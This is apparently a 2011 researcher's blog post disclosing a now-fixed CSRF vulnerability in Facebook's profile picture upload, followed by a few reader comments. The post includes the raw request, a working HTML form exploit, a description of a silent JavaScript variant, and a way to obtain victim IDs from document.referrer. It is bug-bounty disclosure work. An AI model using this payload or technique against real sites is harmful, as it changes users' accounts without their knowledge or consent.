Profile picture upload form in facebook.com was vulnerable to CSRF. The vulnerability resided in http://upload.facebook.com/pic_upload.php and allowed an attacker to force a user to change its profile picture.
The issue has been fixed by Facebook security team.

Analysis

Each facebook user is able to change its profile picture from the following address: http://www.facebook.com/editprofile.php?sk=picture. The related form uses two fields, post_form_id and fb_dtsg, which look like anti-CSRF tokens, however they were not verified properly. Removing those fields still resulted in successful file upload!

Here follows an example of the POST request; just three fields were required to manage a successful upload, id (facebook profile identifier), type (=profile, fixed) and pic (-> image file).

POST /pic_upload.php HTTP/1.1
Host=upload.facebook.com
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-us,en;q=0.5
Accept-Encoding=gzip, deflate
Accept-Charset=ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive=115
Connection=keep-alive
Referer= [...]
Cookie= [...]
Content-Type=multipart/form-data; boundary=---------------------------14845003822106369361604088384
Content-Length=24879

POSTDATA =
-----------------------------14845003822106369361604088384
Content-Disposition: form-data; name="id"

[facebook-profile-IDentifier]
-----------------------------14845003822106369361604088384
Content-Disposition: form-data; name="type"

profile
-----------------------------14845003822106369361604088384
Content-Disposition: form-data; name="pic"; filename="filename.jpg"
Content-Type: image/jpeg

[binary-data]

Take in mind that the vulnerability worked fine only if the user didn't use secure browsing (https) and he was logged in facebook. Furthermore the POST request did not have to contain the Origin header.
Actually the attacker's malicious page would not receive the response because of the CORS specification, but who cares?

Exploit

The attacker could employ a malicious web page with the following HTML code and ask the user to upload some image. Since the browser would attach the facebook cookies to the request, the choosen file would be uploaded as profile picture, but the user was not able to understand what was really happening.

<form enctype="multipart/form-data" method="post" action="http://upload.facebook.com/pic_upload.php">

<input type="hidden" value="profile_ID" name="id">
<input type="hidden" value="profile" name="type">
<input type="file" name="pic">

<input type="submit">
</form>

Actually this process could be done in Javascript without user interaction: you just need to make a XMLHttpRequest POST request, forming a multipart MIME manually. The attacker might ask the user to visit a malicious web page which contains some javascript code and quietly uploads a new profile picture. Notice that the image is choosen by the attacker, the user does not have to manually choose the file from its local filesystem.
This tecnique has been discovered and employed by Krzysztof Kotowicz against flickr.com (How to upload arbitrary file contents cross-domain - Cross domain arbitrary file upload Redux - Invisible arbitrary CSRF file upload in Flickr.com - Html5: something wicked this way comes) . I strongly recommend you to read the previous blogposts.

There is only one restriction: the attacker should know the user's profile identifier, but finding it should be trivial. Furthermore he could publish a link on the users' walls which pointed to the malicious web page. This latter could easily extract the user identifier by looking at the document.referrer (it's very likely that the user clicked on that link while he was looking at its wall: www.facebook.com/?id=[profile IDentifier]).

The invisible arbitrary CSRF file upload works fine in browsers supporting CORS (Firefox, Chrome), while Opera and IE allow the manual file upload whenever the user has a valid cookie.

Fix

Facebook fixed this vulnerability after receiving my report, according to the bug bounty initiative. I think they just employed the proper validation for the anti-CSRF tokens.

Timeline

09.09.11 facebook notified
09.14.11 fix is ready
09.21.11 fix has been deployed

So guys, I suppose this vulnerability is very spread, I think most modern web apps have a similar flaw, just like clickjacking vulnerabilities (you know, some disclosed facebook vulnerabilities are related to cross domain content extraction). Developers should be completely aware of Cross Domain AJAX security implications.

3 Responses to Invisible arbitrary CSRF profile picture upload in Facebook

  1. 1403 Ahamed Nafeez 2011-09-28 8:59 am

    Nice find and post .

  2. 1406 Pk 2011-09-29 5:49 am

    Nice !!

  3. 1411 superevr 2011-10-09 6:59 am

    Awesome! I tested for this exact same thing just last week, but "fb_dtsg" was being checked server side by then. If only i had tested a little sooner, maybe I would be $500 richer.